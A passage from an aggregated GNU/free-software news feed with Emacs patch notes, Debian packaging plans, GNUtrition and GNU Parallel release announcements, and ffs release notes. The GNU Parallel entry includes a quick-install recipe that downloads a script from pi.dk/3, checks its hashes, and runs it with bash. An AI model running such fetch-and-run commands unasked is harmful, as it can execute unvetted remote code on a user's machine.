&lt;li&gt;&lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html&quot;&gt;ffs-0.2.2&lt;/a&gt;: I finally polished and published my &lt;code&gt;ffs&lt;/code&gt; package for
GNU Emacs on GNU ELPA.  Many thanks to &lt;a href=&quot;https://protesilaos.com&quot;&gt;Protesilaos&lt;/a&gt; for rounds of
code review and feedback for improving and polishing the package
in preparation for submission to GNU ELPA.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://bugs.gnu.org/81101&quot;&gt;bug#81101&lt;/a&gt;: Trying to visit &lt;a href=&quot;https://www.emacswiki.org&quot;&gt;https://www.emacswiki.org&lt;/a&gt; in EWW
I noticed it fails with a &lt;code&gt;Somebody wants you to give them money&lt;/code&gt;
error due to the anti-bot challenge being served with a HTTP 402
(Payment Required) response.  So I landed a patch &lt;a href=&quot;https://cgit.git.savannah.gnu.org/cgit/emacs.git/commit/?h=emacs-31&amp;amp;id=12eec781ed69c4fc7611e8c9a1953ad33da98a0c&quot;&gt;&lt;code&gt;12eec781ed6&lt;/code&gt;&lt;/a&gt; to
no longer do that.  Thanks to Emacs comaintainer Sean Whitton
for reviewing and approving my proposed patch.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://bugs.gnu.org/81107&quot;&gt;bug#81107&lt;/a&gt;: I noticed that in EWW, unlike &lt;code&gt;&amp;lt;input type=&quot;submit&quot;&amp;gt;&lt;/code&gt;
HTML buttons, &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; elements were not tab-stoppable, leading
to poorer usability and accessibility.  So I landed a patch
&lt;a href=&quot;https://cgit.git.savannah.gnu.org/cgit/emacs.git/commit/?h=emacs-31&amp;amp;id=ec3d662de0bab08f8b68666d13c662c3193c2645&quot;&gt;&lt;code&gt;ec3d662de0b&lt;/code&gt;&lt;/a&gt; to fix that.  Thanks to Emacs comaintainer Eli
Zaretskii for reviewing, providing feedback, and accepting my
proposed change.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605.html&quot;&gt;Emacs Chat with Sacha Chua&lt;/a&gt;: I joined Sacha for a &lt;a href=&quot;https://sachachua.com/blog/2026/05/emacs-chat-with-amin-bandali/&quot;&gt;new episode&lt;/a&gt; of
her Emacs Chat podcast, where we talked about Emacs and life.
I gave a quick tour of my Emacs configuration, discussing at
length my configurations for EXWM (Emacs X Window Manager) among
other topics like Emacs&#39;s facility for visually indicating buffer
boundaries in the fringe by setting &lt;code&gt;indicate-buffer-boundaries&lt;/code&gt;
and my convenience configuration macros.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://www.gnu.org/gnu/gnu-structure.html#assistant-gnuisances&quot;&gt;maintainers@&lt;/a&gt;: I started the next long-overdue round of emails to GNU
package maintainers to confirm the contact information we have on
file for them and get a brief status update about their packages.
Emails are sent in small batches to keep the workload of handling
the responses manageable for assistant GNUisances.&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://www.gnu.org/spotlight/spotlight.html&quot;&gt;GNU Spotlight&lt;/a&gt;: I prepared and sent the May GNU Spotlight to the FSF
campaigns team for publication on the FSF&#39;s community blog and the
monthly Free Software Supporter newsletter.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-debian&quot;&gt;
&lt;h2 id=&quot;debian&quot;&gt;Debian&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-debian&quot;&gt;
&lt;p&gt;
I&#39;ve begun the work toward updating the Jami package in Debian
unstable again, which means I need to package new releases of its
direct and indirect dependencies.  For OpenDHT, I need to update
RESTinio, and to do that I first need to package expected-lite and
sobjectizer for Debian:
&lt;/p&gt;

&lt;ul class=&quot;org-ul&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://bugs.debian.org/1120837&quot;&gt;#1120837&lt;/a&gt;: ITP: expected-lite – expected objects for C++11 and later&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://bugs.debian.org/1137609&quot;&gt;#1137609&lt;/a&gt;: ITP: sobjectizer – C++ implementation of Actor,
Publish-Subscribe, and CSP models&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
I&#39;ve been working on packaging both and hope to have them uploaded to
the archive in the next days and weeks.
&lt;/p&gt;

&lt;p&gt;
That&#39;s it for this month&#39;s report.
&lt;/p&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt;&lt;/div&gt;&lt;/section&gt;</content>
	<author>
	  <name>Amin Bandali</name>
	   <uri>https://kelar.org/~bandali/</uri> 
	</author>
	<source>
	  <title type="html">Amin Bandali</title>
	  <subtitle type="html">publications by bandali</subtitle>
	  <link rel="self" href="https://kelar.org/~bandali/rss20.xml"/>
	  <id>https://kelar.org/~bandali/</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUtrition 0.33.0rc4</title>
	<link href="https://savannah.gnu.org/news/?id=10896"/>
	<id>https://savannah.gnu.org/news/?id=10896</id>
	<updated>2026-05-29T18:03:17+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;A test release of GNUtrition, 0.33.0rc4, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release improves how user ages are stored and used by GNUtrition. You no longer need to manually update your age every year on (or near) your birthday. Thankfully, no database changes/migrations are necessary for this, you just need to enter your birthday and you will be good to go!
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href=&quot;http://www.gnu.org/software/gnutrition/&quot;&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href=&quot;ftp://alpha.gnu.org/gnu/gnutrition/&quot;&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;http://alpha.gnu.org/gnu/gnutrition/&quot;&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;https://alpha.gnu.org/gnu/gnutrition/&quot;&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href=&quot;mailto:bug-gnutrition@gnu.org&quot;&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href=&quot;https://lists.gnu.org/mailman/listinfo/bug-gnutrition&quot;&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Anton McClure</name>
	   <uri>https://savannah.gnu.org/projects/gnutrition</uri> 
	</author>
	<source>
	  <title type="html">GNUtrition - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dgnutrition"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=gnutrition</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUtrition 0.33.0rc3</title>
	<link href="https://savannah.gnu.org/news/?id=10895"/>
	<id>https://savannah.gnu.org/news/?id=10895</id>
	<updated>2026-05-29T01:50:47+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;A test release of GNUtrition, 0.33.0rc3, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release removes a number of dependencies that broke building/installing on various systems. You no longer need to have a full LibreOffice, ncurses, SQLite, or LaTeX/TexInfo install to build and install GNUtrition.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href=&quot;http://www.gnu.org/software/gnutrition/&quot;&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href=&quot;ftp://alpha.gnu.org/gnu/gnutrition/&quot;&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;http://alpha.gnu.org/gnu/gnutrition/&quot;&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;https://alpha.gnu.org/gnu/gnutrition/&quot;&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href=&quot;mailto:bug-gnutrition@gnu.org&quot;&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href=&quot;https://lists.gnu.org/mailman/listinfo/bug-gnutrition&quot;&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Anton McClure</name>
	   <uri>https://savannah.gnu.org/projects/gnutrition</uri> 
	</author>
	<source>
	  <title type="html">GNUtrition - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dgnutrition"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=gnutrition</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Parallel 20260522 (&#39;Hantavirus&#39;) released</title>
	<link href="https://savannah.gnu.org/news/?id=10894"/>
	<id>https://savannah.gnu.org/news/?id=10894</id>
	<updated>2026-05-26T20:55:29+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNU Parallel 20260522 (&#39;Hantavirus&#39;) has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  ...and GNU Parallel is fun.
&lt;br /&gt;
    -- DJviolin@reddit
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;--fast rewritten. 1 million jobs in 10 seconds. Try: seq 1000000 | time parallel --fast echo | wc -l
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name &#39;*.jpg&#39; |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href=&quot;http://www.gnu.org/s/parallel/&quot;&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href=&quot;http://pi.dk/3&quot;&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href=&quot;http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1&quot;&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href=&quot;https://doi.org/10.5281/zenodo.1146014&quot;&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href=&quot;https://gnuparallel.threadless.com/designs/gnu-parallel&quot;&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href=&quot;https://my.fsf.org/donate/&quot;&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases&#39; command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database&#39;s interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ole Tange</name>
	   <uri>https://savannah.gnu.org/projects/parallel</uri> 
	</author>
	<source>
	  <title type="html">GNU Parallel - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dparallel"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=parallel</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Thinking about life - chat with Protesilaos</title>
	<link href="https://kelar.org/~bandali/life/thinking-with-prot.html"/>
	<id>tag:kelar.org,2026:~bandali/rss20.xml:life/thinking-with-prot</id>
	<updated>2026-05-24T02:39:15+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;
In the recent weeks I&#39;ve been engaging &lt;a href=&quot;https://protesilaos.com/coach/&quot;&gt;Prot as a coach&lt;/a&gt; to help review
my &lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html&quot;&gt;new &lt;code&gt;ffs&lt;/code&gt; package for GNU Emacs&lt;/a&gt; as I worked on preparing it for
inclusion in GNU ELPA, as well as discussing other Emacs- and
life-related topics.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;UPDATE 2026-05-23 22:39:15 -0400:&lt;/b&gt; Prot also published an article
about our session on his website:
&lt;a href=&quot;https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/&quot;&gt;https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
In our nearly 2-hour conversation, we discussed at length and in depth
various aspects of life in the current times.  For instance, feeling
overwhelmed in the face of innumerable things happening at once, with
technology changing our perception and making events feel proximate
and imminent.
&lt;/p&gt;

&lt;p&gt;
We talked about seasonality and rhythms in life, including in relation
to burnout and knowing our own limitations, and descriptive vs
prescriptive thinking when reflecting on the expectations we may place
on our self when comparing our self to others through the lens of our
necessarily-incomplete impressions and glimpses of their lives.  We
discussed absence or loss as a dual to presence or persistence in the
process of life.  How with our memories and through embodying the
philosophy and teachings of departed loved ones their essence and
legacy continues to live on within us.  But also loss in the sense of
us losing parts of our self in life-defining moments while preserving
other parts and gaining new ones, being liberated of some of the
burdens of our past self and in effect becoming someone else in the
process.
&lt;/p&gt;

&lt;p&gt;
In being true to our self, we talked about humans as multi-faceted
beings and the importance of expressing and giving a voice to these
different aspects of our self, and keeping alive that child-like
sense of awe and wonder.  To live a life where the pace and rhythms of
our environment are in sync with our internal rhythms, and to not give
others undue power over us or our happiness through trying to live
according to their prescribed standards or expectations.
&lt;/p&gt;

&lt;p&gt;
I also learned more about Prot&#39;s practical philosophy of situational
awareness in life, not merely as a means for survival, but also as a
way of appreciating all of the beauty that surrounds us, and a method
for gaining the knowledge and skills to apply what we learn from
patterns in one area of life to other areas.
&lt;/p&gt;

&lt;p&gt;
We concluded our session with a mention to the concept of sanctity, to
set aside a sacred time or place for our self wherein no distractions
are allowed, where we can unwind, rest, and recharge for whatever
comes next.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session, which I share with Prot&#39;s
permission:
&lt;/p&gt;

&lt;video controls=&quot;&quot; id=&quot;org4816dcc&quot; poster=&quot;https://kelar.org/~bandali/life/thinking-with-prot-poster.jpg&quot; preload=&quot;metadata&quot; src=&quot;https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4&quot; width=&quot;720&quot;&gt;
&lt;source src=&quot;https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href=&quot;https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4&quot;&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href=&quot;https://archive.org/details/thinking-life-prot-20260521&quot;&gt;view&lt;/a&gt; or &lt;a href=&quot;https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4&quot;&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
Like Prot, I am invigorated and inspired to live a full, honest life.
To do my best, do what I do in earnest, and make the best of what I
have.
&lt;/p&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt;</content>
	<author>
	  <name>Amin Bandali</name>
	   <uri>https://kelar.org/~bandali/</uri> 
	</author>
	<source>
	  <title type="html">Amin Bandali</title>
	  <subtitle type="html">publications by bandali</subtitle>
	  <link rel="self" href="https://kelar.org/~bandali/rss20.xml"/>
	  <id>https://kelar.org/~bandali/</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Forty-six free software meetups on six continents</title>
	<link href="http://www.fsf.org/news/2026-librelocal-meetup-update"/>
	<id>http://www.fsf.org/news/2026-librelocal-meetup-update</id>
	<updated>2026-05-22T20:14:22+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">BOSTON, Massachusetts, USA (Tuesday, May 19, 2026) â€” The Free 
Software Foundation (FSF) reports that its global call for free 
software supporters to organize LibreLocals this May resulted in free 
software supporters organizing forty-six LibreLocal events on six 
continents thus far. New dates and locations are being added daily.</content>
	<author>
	  <name>FSF News</name>
	   <uri>http://www.fsf.org/news/aggregator</uri> 
	</author>
	<source>
	  <title type="html">FSF News</title>
	  
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/news.xml"/>
	  <id>http://www.fsf.org/news/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">ffs 0.2.2 released</title>
	<link href="https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html"/>
	<id>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-0.2.2</id>
	<updated>2026-05-22T10:55:10+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;
&lt;code&gt;ffs&lt;/code&gt; provides a minor mode for simple plain text presentations in
Emacs, where the slides are separated using the &lt;code&gt;page-delimiter&lt;/code&gt;, by
default the form feed character (&lt;code&gt;^L&lt;/code&gt;).
&lt;/p&gt;

&lt;p&gt;
I wrote &lt;code&gt;ffs&lt;/code&gt; in early 2022 for my LibrePlanet 2022 presentation &lt;a href=&quot;https://kelar.org/~bandali/essays/net-beyond-web.html&quot;&gt;the
Net beyond the Web&lt;/a&gt;, and earlier this year decided to polish it towards
being a proper package and submit it to GNU ELPA.  The manual still
needs some more work, but the overall package is in pretty good shape
so I submitted for inclusion in GNU ELPA.
&lt;/p&gt;

&lt;ul class=&quot;org-ul&quot;&gt;
&lt;li&gt;Package name (GNU ELPA): &lt;a href=&quot;https://elpa.gnu.org/packages/ffs.html&quot;&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Official manual: &lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs.html&quot;&gt;https://kelar.org/~bandali/gnu/emacs/ffs.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Change log: &lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html&quot;&gt;https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Git repository: &lt;a href=&quot;https://git.kelar.org/~bandali/ffs&quot;&gt;https://git.kelar.org/~bandali/ffs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Backronyms: fabulous foolproof slides - for freedom&#39;s sake -
ffs flips slides&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;code&gt;ffs&lt;/code&gt; and I owe a debt of gratitude to Protesilaos for rounds of
code review and feedback for improving and polishing the package in
preparation for submission to GNU ELPA.  You can watch videos of these
sessions posted earlier on my website:
&lt;/p&gt;

&lt;ul class=&quot;org-ul&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot.html&quot;&gt;FFS code review with Protesilaos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot.html&quot;&gt;FFS code review and Emacs extensibility with Protesilaos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Further, inspiration for parts of &lt;code&gt;ffs&lt;/code&gt;&#39;s implementation was
gratefully drawn from Protesilaos&#39;s &lt;a href=&quot;https://protesilaos.com/emacs/logos&quot;&gt;Logos&lt;/a&gt; package for Emacs.
&lt;/p&gt;

&lt;p&gt;
Dedicated to the loving memory of &lt;a href=&quot;https://kelar.org/~bandali/life/farangis.html&quot;&gt;Farangis Yousefinia&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
Below are the release notes.
&lt;/p&gt;

&lt;hr /&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-ffs-0.2.2&quot;&gt;
&lt;h2 id=&quot;ffs-0.2.2&quot;&gt;Version 0.2.2 on 2026-05-21&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-ffs-0.2.2&quot;&gt;
&lt;p&gt;
First release of &lt;code&gt;ffs&lt;/code&gt; on GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
The attempted build of ffs 0.2.1 within GNU ELPA build sandbox failed
with an &lt;code&gt;Error: void-function (org-texinfo-kbd-macro)&lt;/code&gt; due to use of
&lt;code&gt;#+macro: kbd (eval (org-texinfo-kbd-macro $1))&lt;/code&gt; in ffs.org for better
formatting of key sequences in the exported Texinfo copy.  This seems
to have happened for the specific case of generating a plain text
README using &lt;code&gt;ox-ascii&lt;/code&gt; where ELPA didn&#39;t load &lt;code&gt;ox-texinfo&lt;/code&gt;.  To try
and mitigate this, a &lt;code&gt;README.md&lt;/code&gt; has been added for use as the package
README instead of ffs.org.  If not sufficient, a Texinfo copy of the
ffs manual will be shipped instead of the Org one in the next release.
&lt;/p&gt;

&lt;p&gt;
ffs 0.2.2 also includes small fixes and improvements throughout
&lt;code&gt;ffs.el&lt;/code&gt; from Stefan Monnier, and additional feedback to be addressed
in future releases.
&lt;/p&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-ffs-0.2.1&quot;&gt;
&lt;h2 id=&quot;ffs-0.2.1&quot;&gt;Version 0.2.1 on 2026-05-20&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-ffs-0.2.1&quot;&gt;
&lt;p&gt;
The attempted build of ffs 0.2.0 within GNU ELPA build sandbox failed
with a &quot;Cannot include file&quot; error on the &quot;#+include: fdl.org&quot; in the
manual.  So, as a workaround, we switch to using the official Texinfo
copy of the GNU FDL license rather than an Org copy.
&lt;/p&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-ffs-0.2.0&quot;&gt;
&lt;h2 id=&quot;ffs-0.2.0&quot;&gt;Version 0.2.0 on 2026-05-19&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-ffs-0.2.0&quot;&gt;
&lt;p&gt;
First release of &lt;code&gt;ffs&lt;/code&gt; intended for GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
After a few years of inactivity, in early 2026 I decided to dust off
&lt;code&gt;ffs.el&lt;/code&gt;, polish and document it, and offer for inclusion in GNU ELPA
as a proper package.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;outline-3&quot; id=&quot;outline-container-ffs-0.2.0-ffs-default-face-height&quot;&gt;
&lt;h3 id=&quot;ffs-0.2.0-ffs-default-face-height&quot;&gt;Default value of &lt;code&gt;ffs-default-face-height&lt;/code&gt; changed to nil&lt;/h3&gt;
&lt;div class=&quot;outline-text-3&quot; id=&quot;text-ffs-0.2.0-ffs-default-face-height&quot;&gt;
&lt;p&gt;
To minimize unexpected and/or unnecessary changes out-of-the-box, the
default value of &lt;code&gt;ffs-default-face-height&lt;/code&gt; has been changed to nil.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;outline-3&quot; id=&quot;outline-container-ffs-0.2.0-ffs-edit-buffer-name&quot;&gt;
&lt;h3 id=&quot;ffs-0.2.0-ffs-edit-buffer-name&quot;&gt;&lt;code&gt;ffs-edit-buffer-name&lt;/code&gt; demoted from user option to variable&lt;/h3&gt;
&lt;div class=&quot;outline-text-3&quot; id=&quot;text-ffs-0.2.0-ffs-edit-buffer-name&quot;&gt;
&lt;p&gt;
